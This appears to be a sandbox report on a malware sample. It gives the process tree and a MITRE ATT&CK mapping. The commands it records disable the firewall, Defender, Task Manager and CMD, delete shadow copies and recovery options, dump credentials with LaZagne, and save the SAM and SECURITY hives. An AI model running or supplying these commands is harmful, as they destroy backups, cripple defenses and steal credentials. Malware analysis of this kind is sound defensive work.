    netsh advfirewall set privateprofile state off
    3⤵
    - Modifies Windows Firewall
    PID:840
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set publicprofile state off
    3⤵
    - Modifies Windows Firewall
    PID:2584
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:4400
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:2144
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKCU\Software\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
    3⤵
    - Modifies registry key
    PID:3064
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionExtension .exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4956
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4520
- - C:\Windows\SysWOW64\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3128
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3816
- C:\Users\Admin\AppData\Roaming\pass.exe
  "C:\Users\Admin\AppData\Roaming\pass.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:2680
- - C:\Windows\SysWOW64\cmd.exe
    "cmd" /c cd %appdata% & laZagne.exe all -oA -output %appdata% & ren credentials*.txt pass.txt
    3⤵
    PID:1968
  - - C:\Users\Admin\AppData\Roaming\LaZagne.exe
      laZagne.exe all -oA -output C:\Users\Admin\AppData\Roaming
      4⤵
      Executes dropped EXE
      PID:4904
    - - C:\Users\Admin\AppData\Roaming\LaZagne.exe
        
        laZagne.exe all -oA -output C:\Users\Admin\AppData\Roaming
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Accesses Microsoft Outlook profiles
        outlook_office_path
        outlook_win_path
        
        PID:2704
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "reg.exe save hklm\sam C:\Users\Admin\AppData\Local\Temp\qzziixfv"
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1364
        
        C:\Windows\system32\reg.exe
        
        reg.exe save hklm\sam C:\Users\Admin\AppData\Local\Temp\qzziixfv
        7⤵
        
        PID:884
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "reg.exe save hklm\security C:\Users\Admin\AppData\Local\Temp\erkcpundyf"
        6⤵
        
        PID:4880
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "reg.exe save hklm\system C:\Users\Admin\AppData\Local\Temp\irkjzq"
        6⤵
        
        PID:216
- - C:\Windows\SysWOW64\cmd.exe
    "cmd" /c cd %appdata% & del /f credentials* & del /f pass.txt & del /f LaZagne.exe & del /f tool.bin
    3⤵
    PID:4592
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2144
- C:\Users\Admin\AppData\Roaming\server.exe
  "C:\Users\Admin\AppData\Roaming\server.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:5016
- C:\Users\Admin\AppData\Roaming\discord.exe
  "C:\Users\Admin\AppData\Roaming\discord.exe"
  2⤵
  PID:1856

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1920

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3024

C:\Windows\system32\reg.exe
reg.exe save hklm\security C:\Users\Admin\AppData\Local\Temp\erkcpundyf
1⤵
PID:600

C:\Windows\system32\reg.exe
reg.exe save hklm\system C:\Users\Admin\AppData\Local\Temp\irkjzq
1⤵
PID:4876

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\vcredist2012_x86_0_vcRuntimeMinimum_x86.log
1⤵
- Opens file in notepad (likely ransom note)
PID:3568

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\vcredist2012_x86_0_vcRuntimeMinimum_x86.log
1⤵
- Opens file in notepad (likely ransom note)
PID:828

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\vcredist2012_x64_0_vcRuntimeMinimum_x64.log
1⤵
- Opens file in notepad (likely ransom note)
PID:4904

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:3260
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0x84,0xd8,0x7ff9676c9758,0x7ff9676c9768,0x7ff9676c9778
  2⤵
  PID:164
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1804 --field-trial-handle=1840,i,11650929024970503297,4392597635526924502,131072 /prefetch:8
  2⤵
  PID:2712
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2844 --field-trial-handle=1840,i,11650929024970503297,4392597635526924502,131072 /prefetch:1
  2⤵
  PID:4360
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2836 --field-trial-handle=1840,i,11650929024970503297,4392597635526924502,131072 /prefetch:1
  2⤵
  PID:1796
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2080 --field-trial-handle=1840,i,11650929024970503297,4392597635526924502,131072 /prefetch:8
  2⤵
  PID:2588
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1532 --field-trial-handle=1840,i,11650929024970503297,4392597635526924502,131072 /prefetch:2
  2⤵
  PID:4672
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4380 --field-trial-handle=1840,i,11650929024970503297,4392597635526924502,131072 /prefetch:1
  2⤵
  PID:3256
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4564 --field-trial-handle=1840,i,11650929024970503297,4392597635526924502,131072 /prefetch:8
  2⤵
  PID:4916
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4724 --field-trial-handle=1840,i,11650929024970503297,4392597635526924502,131072 /prefetch:8
  2⤵
  PID:4644
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5020 --field-trial-handle=1840,i,11650929024970503297,4392597635526924502,131072 /prefetch:8
  2⤵
  PID:3904
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4584 --field-trial-handle=1840,i,11650929024970503297,4392597635526924502,131072 /prefetch:8
  2⤵
  PID:4132
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5296 --field-trial-handle=1840,i,11650929024970503297,4392597635526924502,131072 /prefetch:8
  2⤵
  PID:3548
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5360 --field-trial-handle=1840,i,11650929024970503297,4392597635526924502,131072 /prefetch:8
  2⤵
  PID:4128

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:600

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:1820
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  PID:2244
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2244.0.126992754\1345456090" -parentBuildID 20221007134813 -prefsHandle 1712 -prefMapHandle 1688 -prefsLen 20936 -prefMapSize 232675 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b1749b90-4641-4be2-8938-9639c1a3f5c2} 2244 "\\.\pipe\gecko-crash-server-pipe.2244" 1792 256c9bd9a58 gpu
    3⤵
    PID:3732
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2244.1.1541991436\1506761253" -parentBuildID 20221007134813 -prefsHandle 2136 -prefMapHandle 2132 -prefsLen 21017 -prefMapSize 232675 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2ceafee2-8a37-4223-90dc-cbd7aaee7ad6} 2244 "\\.\pipe\gecko-crash-server-pipe.2244" 2148 256c9332658 socket
    3⤵
    PID:960
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2244.2.1459241840\1269587518" -childID 1 -isForBrowser -prefsHandle 3088 -prefMapHandle 3084 -prefsLen 21120 -prefMapSize 232675 -jsInitHandle 1036 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {60353fa3-bc2d-4e41-bb5d-a448413cadd4} 2244 "\\.\pipe\gecko-crash-server-pipe.2244" 2780 256cd3f8e58 tab
    3⤵
    PID:2352
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2244.3.334813878\729906253" -childID 2 -isForBrowser -prefsHandle 3492 -prefMapHandle 3488 -prefsLen 26480 -prefMapSize 232675 -jsInitHandle 1036 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {bdec3432-9969-4119-ba84-c86c581629e4} 2244 "\\.\pipe\gecko-crash-server-pipe.2244" 3504 256ce676458 tab
    3⤵
    PID:2912
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2244.4.1056218112\495753192" -childID 3 -isForBrowser -prefsHandle 4284 -prefMapHandle 4216 -prefsLen 26539 -prefMapSize 232675 -jsInitHandle 1036 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {eb052990-70ea-468a-90c0-4278cd69f397} 2244 "\\.\pipe\gecko-crash-server-pipe.2244" 4304 256cf6b6158 tab
    3⤵
    PID:1608
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2244.5.726332161\1275758279" -childID 4 -isForBrowser -prefsHandle 4788 -prefMapHandle 4784 -prefsLen 26539 -prefMapSize 232675 -jsInitHandle 1036 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b3bddc08-ff1f-4381-b9ab-82c5a65f1517} 2244 "\\.\pipe\gecko-crash-server-pipe.2244" 4792 256cc403858 tab
    3⤵
    PID:5456
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2244.7.1226247476\258293618" -childID 6 -isForBrowser -prefsHandle 5124 -prefMapHandle 5128 -prefsLen 26539 -prefMapSize 232675 -jsInitHandle 1036 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {93a364de-9f79-4420-9496-f33e54f182d4} 2244 "\\.\pipe\gecko-crash-server-pipe.2244" 4808 256cc405f58 tab
    3⤵
    PID:5472
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2244.6.654536354\2105017117" -childID 5 -isForBrowser -prefsHandle 4928 -prefMapHandle 4932 -prefsLen 26539 -prefMapSize 232675 -jsInitHandle 1036 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ed6c5d82-54a6-4911-a3ce-ed5e32d21a72} 2244 "\\.\pipe\gecko-crash-server-pipe.2244" 4920 256cc405358 tab
    3⤵
    PID:5464

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

File and Directory Permissions Modification

T1222

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery